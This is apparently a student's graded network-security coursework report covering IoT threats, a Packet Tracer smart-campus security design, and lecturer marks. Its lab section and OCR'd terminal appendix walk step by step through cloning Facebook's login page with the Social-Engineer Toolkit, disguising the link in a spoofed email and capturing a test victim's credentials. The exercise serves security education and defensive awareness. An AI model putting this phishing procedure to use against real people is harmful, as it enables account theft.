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[bookmark: _Toc39528938]ABSTRACT 
This report presents the communication/computer network security issues in research area and explains the different threats and attacks happens now a days in the world of Internet   of Things (IoT). It provides a real-life scenario of a newly Smart Campus of IQ building University of Wales Trinity Saint David as Internet of Things played vital role on this campus, documents step by step simulation design and results done by using Packet Tracer software and   outlines the security measure used for the protection and secure the services and resources  on the  University Campus.
[bookmark: _Toc39528939]INTRODUCTION
Internet stands for the global information system and makes everything depend on it growth rapidly year by year as a lot of people around the world depends on it for the communication [1] and business purpose, the growth of an internet system around the globe makes speedily increased for the security issues and gives huge damage for the companies and individual people in general. Big companies, organisations, private sector and government are the hacker main targets. Hackers [2] when they know where the vulnerabilities are in to a target victims can do any malicious attacks such as steal of credentials information either credit card details, read emails, attack the web server, injects any malicious software or can do any network system interruption. 
Internet of thing (IoT) [3] is the world of every things depends on the internet connection for the functionality and the demand can continue to increase more and more in the future as well. Network, devices and data are the things works together and connected each other for the one aim of communication. Internet of Things (IoT) works on a big role now a days where services and resources are using Internet to communicate each other. Communication technologies and digital information are being used to improve performance and quality of the organisation’s resources and services [4].  
Computer and communication network and infrastructures security issues are the main risks on security that are needed to be monitored and protected as well. The security issues can be either a system attacks or threats. Malware threats can make a system corrupt, damage or destroyed such as a computer virus threats, and this known as the program written and inject to the target system and change the way system operates, without the user approval or knowledge. Other issue on security can be a hacker-based attack, this can be either WPA/WPA2 cracking password attacks or any phishing attacks by deceitful messages/emails for the aim of stealing personal user information or financial information. Phishing is the main threats in social engineering for the cyber-attacks uses as a weapon to trick the email recipient target by making them believe the message received is from known source or something inside the organisation and sometimes the message can be attached with file link or target website link [5]. The author will explain further about security issues on computer/communication network threats and attacks to the literature review with research background and related work analysis.
[bookmark: _Toc39528940]PART 1– RESEARCH AND ANALYSIS OF LAB EXERCISES
This part divides in to two tasks. The Task A explains on research background and related work on to computer networks and infrastructures security issues and Task B describes an analysis of lab exercise on Sniffing Facebook Credentials Using Social Engineering Toolkit (SET). Known now a days a lot of things rely greatly on Internet, video communications, cloud services, sensor monitoring, and Internet of Things (IoT) based services. 
[bookmark: _Toc39528941]TASK A – RESEARCH BACKGROUND AND RELATED WORK ANALYSIS
[bookmark: _Toc39528942]RESEARCH BACKGROUND ON COMPUTER/COMMUNICATION NETWORKS AND INFRASTRUCTURES SECURITY ISSUES 
COMPUTER AND COMMUNICATION NETWORK SECURITY
This section of communication or computer network security is any designed activity for the protection on daily user usage of data and network, the protection can be on software and hardware from the targets of variety attacks and threats so the better security will help to stop them entering in to the target system. Cyber threats [6] increased rapidly every day and the business organisation looks different options on how to overcome against them and the only solution will remain on better sustainable security plan. The technique methods of security can be either logical security [7], this will include the user security for protection their data and computer from any unauthorised access or physical security based on physical thing security for make the user safe by monitoring or recording such as at home the CCTV camera [8] that is a good example of this.  In order to achieve a secure communication, the aspects of a network security needed to be achieved as well, as explained below:
· Privacy: This means both sender and receiver expect privacy. The conversation should understand and be between two of them. And should be the ned of requirement of for message encryption and make the message not be intercepted and stop any message eavesdroppers. 
· Message Integrity: The integrity of message must be delivered to the receiver correctly as it original when was sent. Should be not any data changes on the process of transmission, either accident or malicious, in a transit. So, the message integrity must be protected for make the communication secure.
· Endpoint authentication: this is to verify the identity and the receiver should make sure the message is come from the known sender and not act of imposter used to send the message. 
· Non-Repudiation: this should be the receiver to have a prove that message come from this sender and the sender can approve and must not deny for the message he sends. The good example when the user from the bank done any money request transaction from one place to another the bank must provide a proof if that user requested at specific transaction. 
INFRASTRUCRURES SECURITY
The infrastructures security is the all security used to provides the protection twenty four seven on either hospitals, airport, railway station, media, network communication, power plant and all the infrastructure area that are main key point on country running economy. Today’s infrastructures moved to the Internet of Things (IoT) [9] and most of them started develops this technology and depends everything using Internet and to them still security is the main problem, the proper ways to protect infrastructure against any harm of an attacks or threats needed to be considered to put the system secure for any vulnerabilities. However, as the infrastructures growth and business the security plans should must be follows in order to guarantee the safety to the network system such  include to manages of firewall, virtual private network (VPN) [10], DDoS mitigation for multi-layer defence global and network based security.
NETWORK SECURITY ISSUES
Network raised a high potential for the issues of security such as for security breaches, data loss and any malicious attack like virus, hacking and any threats that cause damage to the system. The compute or communication network threats and attacks are mostly dangerous and can be quickly destroyed machines components and sometimes data can get loss as well. Cyberattacks is the main reason of these either attacks or threats and is the main weapon from cybercriminal now a days and can launch an attack from one or more computer to the target victim computer either against one or more computer. 
In this world a lot of people their daily life depends on the internet and this is where the hacker uses this gap to do their things, for the techniques they have makes them to have power to performs well the online crime. A new technique to learn is their everyday duties for the reason and aim of causing problem and damage the big and small name business and put the victim privacy at danger. The issues on security cost millions of pounds every day, each month and each year that is why need a better implement measure to stop, prevent and reduce the network vulnerabilities [11] for unauthorised access. The below is the figures explains the top ten attack distribution between 2018 and 2019 year, malware seen is the biggest threats that lead the distribution of attack year by year and this include virus, spyware, ransomware designed intentionally to cause system damage to computer, computer network or a server and even to the client. This in the figure showed to be increased by 4.9% within a year, this figure proved how security issues is remain major problem in a computer network.  The following number two attack who lead is account hijacking where when the hacker steal victim identity such as account information to carry out an unauthorised or malicious activity.
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[bookmark: _Toc39529000]Figure 1 attack distribution [12]
The hacker only need a security hole through the system to launch his attack, sometimes can start with the penetration test method to collects information before launch an attack or sometime can use a social engineering technique to go straight to his main target, for them only a techniques knowledge to achieve their goals. The author explains below different threats and attacks the hacker used when the system has a security issue:
Malware is a type of malicious software specially designed to damage or destroy physical system, network equipment, delete data, spy or delete user information without their permission. The black hat hacker or another word a malicious hacker designed this type of software for the specific aim especially in a making money or target to the government as a war weapon [13]. 
A virus code designed software by the hacker in order to sow the computer performance, damage or destroy the computer system. By visiting untrusted website, downloading free games or an application, opening an email marked as spam, agree licence of some sharing pdf file, picture or videos these all can lead the user implant the virus to his computer system without understanding [14]. 
Ransomware is another malicious software that use for the hacker to attack the user machine either to block the access to the specific information files or can lock completely the machine until they receive the amount of money they request. This malicious causes a huge damage and loss to many companies because of the tricky the hacker used to trap, and the victim can get easily panic and do whatever they be asked to and most of the time after paid the money the hacker cant fulfil their promise [15] , [16].
Spyware also a malicious software, each malicious software designed for the target job to do, for this one specially created to spy user computer system. Is a tricky malicious when get through the user system start it works for spy while hide on the user background machine and note down to the hacker machine each details performs online either passwords, credit card information and any useful things without user understanding. Hacker used this software to benefit themselves for the information received after the process of spyware and this I a bit different o the other malicious such virus because virus can only cause damage to the computer system.
Phishing attacks
This is type of a cyber-attack [17] usually based on social engineering attacks, it can be either phishing by email or text message in generally is an attack of steal of user information without their knowledge and mainly based on email or message as for the weapon. Aim to trick email recipient and make them believe the message they received is trusted message from trusted source [18]. Most of the time on a phishing attack, the hacker designed a professional email, attached the link or a file on it that used to grab the victim information and send it to the victim and sometimes they even used fake sender domain [19] as look exactly the same domain. On this phishing attack got the techniques of the hacker used to launch their attack such as:
Included file link, focuses on a specific individual or company on its target, the hacker can target the chosen person within an organisation to launch his attack and wait his respond to gather the information. A good example is an email from one of online shop about their products or the recent purchase and this usually came with an attached file link on it that direct the victim to the target scammer file for harvest the credentials information.
Included html link, scammer either can target a specific person or can send a designed email to a random number of people to increase their success rate. This scammer usually has a better knowledge of designed an email look exactly like an email from a known source. A good example can be an email from entertainment company and asked the target customers to make an update on their account due of the security issues and attached the company fake URL link when the victim open take them straight to the actual website but is a clone one that designed by the scammer [20].
[bookmark: _Toc39528943]RELATED WORK ANALYSIS
This part explains and analysis the work related to the computer networks and Infrastructure security issues that have done from previous researcher, included the security issues discovered, design they used for their experimental implementations and the solution or result gained.
The researcher on paper [21] done his research on network architecture and security issues in campus network and covered many areas from the design, network problem faced on campus network, design and experimental analysis results. The researcher explained the security issues on a campus network in to two category threats, internal threats, when the threats came inside campus either staff or students and external threats for the threats brough inside campus from the people outside. Explained the vulnerabilities may happened to the campus network can be trojan horse attack, virus or worm and all of these are type of malware. Also explained the main solution from these attacks is by using an anti-virus software and suggested different companies of ant-virus such TrendMicro, Symantec, McAfee for the protection against security issues. This researcher proposed to do the hierarchical campus network design because said it easy to understand, measure and troubleshoot traffic. This paper proposed OPNET IT Guru Academic Edition for work on simulation and on application configuration included three application, File Transfer Protocols (FTP), Mail and Hyper Text Transfer Protocol (HTTP), as shown below on the researcher design included firewall for the security on campus network . 
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[bookmark: _Toc39529001]Figure 2 Simulation Hierarchical design on OPEN IT [21]
Run his simulation for 5 minutes as shown the result on figure below the comparison between Campus Network traffic based on HTTP and LAN network. On dotted one presented the total number of connected users. Therefore, on the Campus Network is designed to be secured with the Firewall, the blocked the unknown users and make limited amount of user can access the internet.
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[bookmark: _Toc39529002]Figure 3 minutes traffic load [21]
Also, done the comparison for the security on the network using firewall and network has no firewall and network using firewall VLAN. The result on this the network using no firewall the traffic on http are higher because of anonymous attacks. So, the researcher decides to use both firewall and firewall VLAN on his campus network security the result http traffic reduced much. The graph below explained according from his result.
[bookmark: _Toc39529003][image: ]Figure 4 Traffic results from Campus Network by using Firewall [21]


Another paper on [22] the researcher explained the design of IPsec virtual private network (VPN) for remote access. Used packet tracer software for his analysis, verification purpose and simulation [23]. The main reason planned to use a VPN is for avoid a security attacks and prevent the loss of user data and provide security service on IP network. On his design the aim is to enable data transmission over the internet to be secured and recommend the user on his design to install Cisco VPN client software for implementation of IPsec.
[image: ]
[bookmark: _Toc39529004]Figure 5 remote user VPN simulation design on packet tracer [22]
Above is the researcher simulation design built on packet tracer as the VPN client connected to the remote user for established the secured internet connection. And the figure below showed the command line for verification phase where only the authorized user can be able to connect with the other network successful because of authentication process.
[image: ]
[bookmark: _Toc39529005]Figure 6 Security link among remote user and centres router [22]

And the results from this paper showed successful on figure () after established connected the VPN the remote user can be able to send packets data to the other server into the network. So according from his testing the researcher can be able to reduce data delay, drop and prevent an attack from online cyber-crime.
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[bookmark: _Toc39529006]Figure 7 A successful results of Ping remote user to the centres of servers [22]
[bookmark: _Toc39528944]TASK B – ANALYSIS OF LAB EXERCISES
The following are the Sniffing Facebook Credentials Using Social Engineering Toolkit (SET) lab analysis and the testing results documentation. Moreover, after the results will includes the security approaches opinions and to gives overview on how this lab will help an organisation for the detection and prevention of any either vulnerabilities, threats or attacks.
The following is the step by step analysis of testing documentation on sniffing Facebook credentials by using social engineering toolkit.
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[bookmark: _Toc39529007]Figure 8 social engineering toolkit process
The image above showed on how to open a social engineering toolkit, started by entered the command of sudo setoolkit and opened the main menu. Choose and entered number 1 social-engineering attacks from the main menu. As successful entered number 1 the other menu appeared and from that menu the author entered number 2 for website attack vectors as shown from the figure below.
[image: ]

Next step is the other screen with sub menu displayed with seven different options from the screenshot below, typed number 3 of credential harvester attack method and entered for proceeded next step.
[image: ]
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The process has not finished yet, next the author choose number 2 from figure for the site cloner as the aim is to clone the Facebook website and proceeded the following step by entered. On site web attack command will required the author to enter the IP address from the machine used as scammer machine and according from this testing the author used 192.168.1.15 IP address to create the clone website. This IP entered as displayed from figure () to carry one to the next step.
[image: ]

The following step required to enter the clone website, and from this case is entered the login Facebook page for clone the page and grab user credentials information with website of http://en-gb.facebook.com/ and then pressed enter. And the figure () showed the information of the attack used and that is social engineering toolkit credential harvester attack, the attack running port number and was port number 80 and underneath of that terminal screen will display the phishing information.
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The next step is to create a spoofed email and send the IP address that clone to the Facebook website to the victim. And tricked the victim by sending an email with the Facebook link attached through it.
[image: ]

The author opened a web browser from the kali machine used for his attack and went to the Gmail to launch an email service to the victim, seen above got already the victim email address and the message designed to send to him. Underneath of the email writing window body, placed the cursor to the insert link icon and the other screen opened like on figure below
[image: ]
This window on image below the author will use as a trick to the victim by put the actual web address link that will display exactly to the victim instead of an IP address number itself. Entered and displayed www.facebook.com/party_pics with the attached link of http://192.168.1.15 and then ok. And the email with the link will look like that below before send to the victim.
[image: ]

So, to make sure and verify the fake URL link linked to the actually one, clicked the fake URL link of www.facebook.com/party_pics and will displayed the clone website IP address.
[image: ]
After checked everything successful, the email launched to the victim by clicked send icon. The next step is opened windows 10 browser and launched a web browser and signed straight to the Hotmail account. The email displayed to the victim screen as shown below
[image: ]
After the victim opened the link of Facebook attached on his email received, took him to the fake Facebook login page.


[image: ]
The victim tricked to enter the username and login password from the fake page look like the original one. After entered and clicked the login button, did not allow him to take to the page straight instead took him to the real Facebook login web page as observed from the figure URL browser.
[image: ]
As soon when the victim entered his login details, the hacker will be able to view and phish the credentials information of username and password. 
The results from this testing displayed on figure () and that is username and password from Facebook clone website, and this proved the author succeed to do his phishing attack from the testing process one to the last and last process managed to grabbed the information that can be used for unauthorised access to victim’s account. 
[image: ]
According from the lab analysis results the opinions target’s security posture and exposure through free public information are. 
· Firstly, the user should install the anti-phishing software, this software will help them to monitor and block any scam email that entered to their system.
· Secondly, user should learn and understand at least the security education, this will help them to be aware of any vulnerabilities, threats and attack that happens now a days and the techniques hacker used. 
· Furthermore, should avoid opening any email received that not known or not sure the sender address.
· Moreover, in an organisation is helpful to conduct a risk assessment for cybersecurity, this will help to identifies the vulnerabilities level the organisation has and will help to determine which action should followed for the security issues protection.
· Lastly, the implement of security will be helpful. Especially in a business companies, should user proper security such firewall, virtual private network or access control to block any threats or unauthorised access to the system.
Also, the lab analysis results can aid or assist an organisation to prevent and/or detect vulnerabilities, threats and attacks from the following explanation:
This phishing attack is so helpful to design the monitor and track the strength and weakness of employees withing organisation. Will help to monitor and finds out how many employees in an organisation will note if that email from credible sender or not, also will show the number of employees who open the email. Apart from that, will show the number who visited the web page and entered their information, and how many replied to this email. Nevertheless, the organisation will have a good result of how many of their employees notes if the email a scam and report to the IT. To summarise, this kind of phishing attack is popular now a days in the world of cybercrime, to take as a penetration test within organisation will help a lot to find any securities hole the system has and will determine the level of security education the employees have. 


[bookmark: _Toc39528945]PART 2 – SYNTHESIZE A SOLUTION TO A POTENTIAL REAL-LIFE SCENARIO
This part based on create a solution to a potential real-life scenario, this scenario-based design and implementation of the Smart Campus that can contain and run Internet of Thing (IoT). Implementation of security for the protection purpose of the devices and services run withing the campus network on IQ building of the University of Wales Trinity Saint David (UWTSD).
DESIGN
The construct design focuses on smart campus based on IQ building at University of Wales Trinity Saint David in Swansea for security measures to protect services and resources within. The Author design his network security by using Packet Tracer software, for the main aim is to provide proper security on his distribution devices included routers and switches and makes these devices hard to be attacked with any threats. On his design used routers, switches, personal computer (PC), energy system production, access Low pan gateway, wireless IoT devices and servers. On this design includes four categories of areas from 0 to 3, 
· Area number 0 is the area of routers only and is the area deals to routes the communication between the devices from source area to destination area. 
· Area number 1 is the Campus energy field for produce energy and cellular network around the campus.
· Area number 2 is main Campus Network area included different servers and computers.
· Area number 3 is the area of IoT wireless network devices.
 As seen below the Author’s Secured Smart Campus of UWTSD.
[image: ]
[bookmark: _Toc39529008]Figure 9 Smart Campus Network security design
IMPLEMENTATION
The implementation from this design done through Packet tracer Software as well, according from the above design the Author done his implementation by included network security for the safe protection and defends against any harm of vulnerabilities, threats or attack that will happen to his Smart Campus Network. The security countermeasures used is by implement Port security and Mac sticky on the two switches, this will help to secure of any attacks traffics point to the switchport by the hacker for the hacker’s aim of access the inner network. And will help to allow only several source MAC addresses ingressing the port. 
The other security measure used on his implantation is password encryption on routers and switches as well, used this method for the security purpose of block the attacker for not get an access to the smart campus network. Apart from that, added on it the service password-encryption command to make much harder and not allow an access for the hacker to get easily to the network.
RESULTS FROM PACKET TRACER
The following are the results from Packet tracer that shows the devices pinging for communicate within the network and the security results implemented with the simulation result as well.



[image: ]
[bookmark: _Toc39529009]Figure 10 Backbone network on Area 0
Area 0 is the core part of computer network that included three different gateway of router that interconnect in to three different area within a Smart Campus, one to Internet service provider gateway of IoT network device, other one is Energy gateway to the Campus energy field to supply energy around the Campus and the third gateway is to Campus network that includes staff and student services and resources.
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[bookmark: _Toc39529010]Figure 11 Campus Energy field
The blue figure presents an area 1 of campus energy field, got a server that communicate to the main campus network in case of an energy failure.

[image: ]
[bookmark: _Toc39529011]Figure 12 Area of Campus Network
This area 2 based on Campus network, included DNS server and IoT server. At that moment, the Author only include one PC, but this network can connect different devices inside the Campus such as printers, access control for biometric, cctv and many more.
[image: ]
Figure 13 Area of IoT Wireless Network
The last area 3 presents IoT network wireless devices, this area transforms the Campus to Smart Campus as a lot of devices depends network in order to function. Included low pan for connects device into wireless personal area network.
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Figure 14 Password Encryption
The above figure displayed the result of security implemented of encryption, the Author used cisco password with service password-encryption command to store the password in to encrypted form, on figure showed instead of cisco the password displayed password 7 0822455D0A16 and this done through all routers and switches.
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Figure15 Port security and mac sticky
The another security used is Port security and mac sticky, this help enable only specific port on switch to be used also prevent the hacker to use a Mac address for the other attack within the network by disable or hide it.
[image: ]
Figure 16 show port security
Figure () showed the status of port security, said enabled and secure.
[image: ]
Figure 17 Simulation panel
The simulation panel above helps to see flowing of the packets within Campus Network from one node or device to another, also by clicking the packet on it will take to details information of OSI layers used source and destination of the packet transfer.
[image: ]
Figure 18 PDU information, OSI Model
RESULTS DISSCUSION
According from the simulation results obtained from Packet Tracer the Author managed to achieve the results regarding from his design and used the knowledge gained form the research paper  [22] when this researcher used packet tracer for his design and simulation purpose. But paper [22] makes different to the Author did because the researcher on this paper used virtual private network (VPN) for implementing security on his network but the Author used switchport security and encryption methods to protects services and device on his Campus Network.
Also, the knowledge gained form [21] helped to an analysis on how the network can be secure by do research on internal and external for finding out what threats will be danger on the Campus network. The internet can be staff or student and used techniques of phishing attack to steal credentials information and external can be the hacker who hasn’t got a connection with inside network, because of this the author planned to put security on his switchport to protect inside network and encryption methods to protect against any threats and attack within the network especially for the devices on IoT network area. The researcher of [21] paper used hierarchical design on his simulation into OPEN IT, but this paper used kind of hierarchical design as well on to packet tracer software.
[bookmark: _Toc39528946]CONCLUSION
This report has divided in two parts, part one separated in two part as well. Firstly, explained the research on communication/computer network and infrastructures security issues that included the research on  computer network security and threats and attacks happened to the system also on related work gave analysis overview on how to secure the network by using simulation software for implantation. Secondly, explained the lab analysis of Sniffing Facebook Credentials Using Social Engineering Toolkit (SET) and described the opinions and how this lab will help the organisations to prevent and detect any threats, attack and vulnerabilities to their network. The part two of this report based on real-life scenario, design and implements security measure by using Packet Tracer software for simulation results on to Smart Campus of IQ building of University of Wales Trinity Saint David (UWTSD). Also, on this part displayed and explained the security result gained from the simulation designed.

To recommended this, the Author should look more and work on to different security implantation such as Firewall and virtual private network (VPN) for the better and strong security protection from internal and external threats and attacks.
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                 MARKING CRITERIA AND STUDENT FEEDBACK



This section details the assessment criteria. The extent to which these are demonstrated by you determines your mark. The marks available for each criterion are shown. Lecturers will use the space provided to comment on the achievement of the task(s), including those areas in which you have performed well and areas that would benefit from development/improvement.

	[bookmark: assessmentComponent]Common Assessment Criteria Applied  (Assignment 1)
	Marks available
	Marks 
awarded

	1. Engagement with Literature Skills
Extent of research and/or own reading, selection of credible sources, application of appropriate referencing conventions.
	
	

	[bookmark: feedbackRIL]You have engaged excellently with the literature. Diversity of appropriate sources used with key concepts discusses. The appropriate referencing used (Grade mark: 93.33%)
	[bookmark: totalRIL]45
	[bookmark: markRIL]42

	
	
	

	2. Knowledge and Understanding Skills
Extent of knowledge and understanding of concepts and underlying principles associated with the discipline.
	
	

	[bookmark: feedbackKUS]
	[bookmark: totalKUS]
	[bookmark: markKUS]

	
	
	

	3. Cognitive and Intellectual Skills
Analysis, evaluation and synthesis; logic, argument and judgement; analytical reflection; organisation  of ideas and evidence
	
	

	[bookmark: feedbackANA]You have demonstrated excellent research knowledge in the research aspects.  You have discussed the lab exercises very well and include analysis lab discussions (very good) and how they could aid an organisation.    (Grade mark: 93.33%)
	[bookmark: totalANA]45
	[bookmark: markANA]42

	
	
	

	4. Practical Application Skills
Deployment of methods, materials, tools and techniques; application of concepts; formulation of innovative and creative solutions to solve problems.
	
	

	[bookmark: feedbackPAD]
	[bookmark: totalPAD]
	[bookmark: markPAD]

	
	
	

	5. Transferable Skills for Life and Professional Practice
Attributes in professional practice: individual and collaborative working; deployment of appropriate media; presentation and organisation.
	
	

	[bookmark: feedbackSPP]Very professional work that written, flow and organise excellently.  (Grade mark: 90.00%)
	[bookmark: totalSPP]10
	[bookmark: markSPP]9

	
	
	



	Assignment Mark (Assessment marks are subject to ratification at the Exam Board.  These comments and marks are to give feedback on module work and are for guidance only until they are confirmed. )
	Late Submission Penalties (tick if appropriate)
	[bookmark: totalMark]93%

	
	Up to four weeks late
	[bookmark: fourWeeksLate]
	

	
	First Attempt?
	[bookmark: firstAttempt]
	







	
                 MARKING CRITERIA AND STUDENT FEEDBACK



This section details the assessment criteria. The extent to which these are demonstrated by you determines your mark. The marks available for each criterion are shown. Lecturers will use the space provided to comment on the achievement of the task(s), including those areas in which you have performed well and areas that would benefit from development/improvement.

	Common Assessment Criteria Applied  (Assignment 2)
	Marks available
	Marks 
awarded

	1. Engagement with Literature Skills
Extent of research and/or own reading, selection of credible sources, application of appropriate referencing conventions.
	
	

	
	
	

	
	
	

	2. Knowledge and Understanding Skills
Extent of knowledge and understanding of concepts and underlying principles associated with the discipline.
	
	

	You have demonstrated coherent knowledge and understanding of the subject area. The report structures excellently following the IEEE report format.  (Grade mark: 90.00%)
	20
	18

	
	
	

	3. Cognitive and Intellectual Skills
Analysis, evaluation and synthesis; logic, argument and judgement; analytical reflection; organisation  of ideas and evidence
	
	

	Excellent documentation of the physical packet tracer design. Your evaluation of the implementation has included how it can combat or enhance challenges to the University.    (Grade mark: 92.50%)
	20
	18.5

	
	
	

	4. Practical Application Skills
Deployment of methods, materials, tools and techniques; application of concepts; formulation of innovative and creative solutions to solve problems.
	
	

	Your design was labelled for ease of understanding.  Redundancy considered within the core. It emulated well the case study scenario. All tested areas work, pings were successful. Security measures implemented and other advance configuration such as routing with OSPF. (Grade mark: 95.00%)
	60
	57

	
	
	

	5. Transferable Skills for Life and Professional Practice
Attributes in professional practice: individual and collaborative working; deployment of appropriate media; presentation and organisation.
	
	

	
	
	

	
	
	



	Assignment Mark (Assessment marks are subject to ratification at the Exam Board.  These comments and marks are to give feedback on module work and are for guidance only until they are confirmed. )
	Late Submission Penalties (tick if appropriate)
	94%

	
	Up to four weeks late
	
	

	
	First Attempt?
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root@kali: ~

:~# setoolkitl]
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-1 The Social-Engineer Toolkit (SET) [---1

---1 Created by: David Kennedy (ReL1K) [---1
Version: 8.0.3
Codename: 'Maverick'

Follow us on Twitter: @TrustedSec
Follow me on Twitter: @HackingDave

-1 Homepage: https://www.trustedsec.com
Welcome to the Social-Engineer Toolkit”(SET).
The one stop shop for all of your-SE needs.

The Social-Engineer Toolkit is a product of Trustedsec.
Visit: https://waw.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
isit https://github.com/trustedsec/ptf to update all your tools!
Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)

3) Third Party Modules

4) Update the Social-Engineer Toolkit

5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

et> 1 I
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root@kali: ~

Codename: 'Maverick
Follow us on Twitter: @TrustedSec
Follow me on Twitter: @HackingDave
Homepage: https://www.trustedsec.con
Welcome to the Social-Engineer Toolkit (SET)
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of Trustedsec.
Visit: https://www.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF
Visit https://github.com/trustedsec/ptf to update all your tools!

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu
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root@kali: ~

a username and password field and harvest all the information posted to the web)
site.

The TabNabbing method will wait for a userto move to a different tab, then refr|
esh the page to something different.

The Web-Jacking Attack method was introduced by white sheep, emgent. This method|

utilizes iframe replacements to make the highlighted URL link to appear legitim
ate however when clicked a window pops up then is replaced with the malicious Lil
nk. You can edit the link replacement settings in the set config if its too slow|
/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser, Credenti
al Harvester/Tabnabbing all at once to see which is successful

The HTA Attack method will allow you to clone a site and perform powershell inje|
ction through HTA files which can be used for Windows-based powershell exploitat|
ion through the browser

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

k>3
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root@kali: ~

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

ttack>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) web Templates

2) site Cloner

3) Custom Import

99) Return to Webattack Menu

battack>2
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root@kali: ~

functionality.
1) Web Templates
2) site Cloner
3) Custom Import

99) Return to Webattack Menu

set:w ttack>2
[-] Credential harvester will allow you to-utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT *

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

set

battack:

1P address for the POST back in Harvester/Tabnabbing [192.168.1.15]:192.168.1.15]
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root@kali: ~

2) site Cloner
3) Custom Import

99) Return to Webattack Menu

- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT *

|
\
\
1
The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to

be standard forms and use the "IMPORT" feature. Additionally, really

important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know

basic networking concepts, and you have a private IP address, you will

need to do port forwarding to your NAT IP address from your external IP

address. A browser doesns't know how to communicate with a private IP |
address, so if you don't specify an external IP address if you are using

this from an external perpective, it will not work. This isn't a SET issue

this is how networking works.

twebattacks IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]:192.168.1.15
1 SET supports both HTTP and HTTPS

1 Example: http://www.thisisafakesite.com

‘t:iwebattack> Enter the url to clone:https://en-gb.facebook.com/[|
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--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual -methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

se attack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.15]:192.168.1.15
[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com

set

attack> Enter the url to clone:https://en-gb.facebook.com/

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless
this captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below
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said.ahmed96@hotmail.com
Hello

Hello Friend,
We had a party last night, please visit the link below
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Edit Link X

Text to display: [ ‘www. facebook.com/party_pics|

Link to To which URL should this link refer?

© web address

http//192.168..15

Emall address
Test this link

Not sure what to put in the box? First find the page o the web that you want

tolink to. (A search engine might be useful). Then, copy the web address from
the boxin your browser's adress bar and paste t n to the box above
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Hello Friend,
We had a party last night, please visit the link below
www.facebook.com/party_pics
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root@kali: ~

wwwiB1iEjwdKOD83mwaS& hsi=6822415413892273209-0& pc=PHASED%3ADEFAULT& _req=6& rev=10020778495 |
1xahk%3Arr70nws3As8cilms_ spin_b=trunk& spin_r=1002077849& spin_t=1588467372& user=0&bz orig|

bluesdpr=1&jazoest=2726&1sd=AVoLus7e HTTP/1.1" 302 .=

[*] WE GOT A HIT! Printing the output

PARAN: jazoest=2726

PARAN: Lsd=AVoLus7e

PARAN: displa

PARAM: enable profile selector=

PARAM: isprivate=

PARAM: legacy return=e

PARAM: profile selector ids=

PARAM: return_sessio

POSSTBLE USERNAME FTELD FOUND: skip_api_ login=

PARAM: signed next=

PARAM: trynum=1

PARAN: timezone=-75

PARAM: Lgndim=eyJ3TjoxMjgwLCJ0Tj03MjASIMF3I]0xMjgwLCIhaCT6N]gwlCIjTjoyNH

PARAM: lgnrnd=175613_6h_U

PARAN: 1gnjs=1588468462

POSSTBLE USERNAME FIELD FOUND: email=said.ahmed96@hotmail.com

POSSTBLE PASSWORD FIELD FOUND: pas

PARAM: prefill contact point=

PARAM: prefill_sourc

PARAN: prefill_type

PARAM: first prefill sourc

PARAM: first prefill_typ

PARAM: had_cp_prefilled=false

POSSTBLE PASSWORD FIELD FOUND: had_password prefilled=false

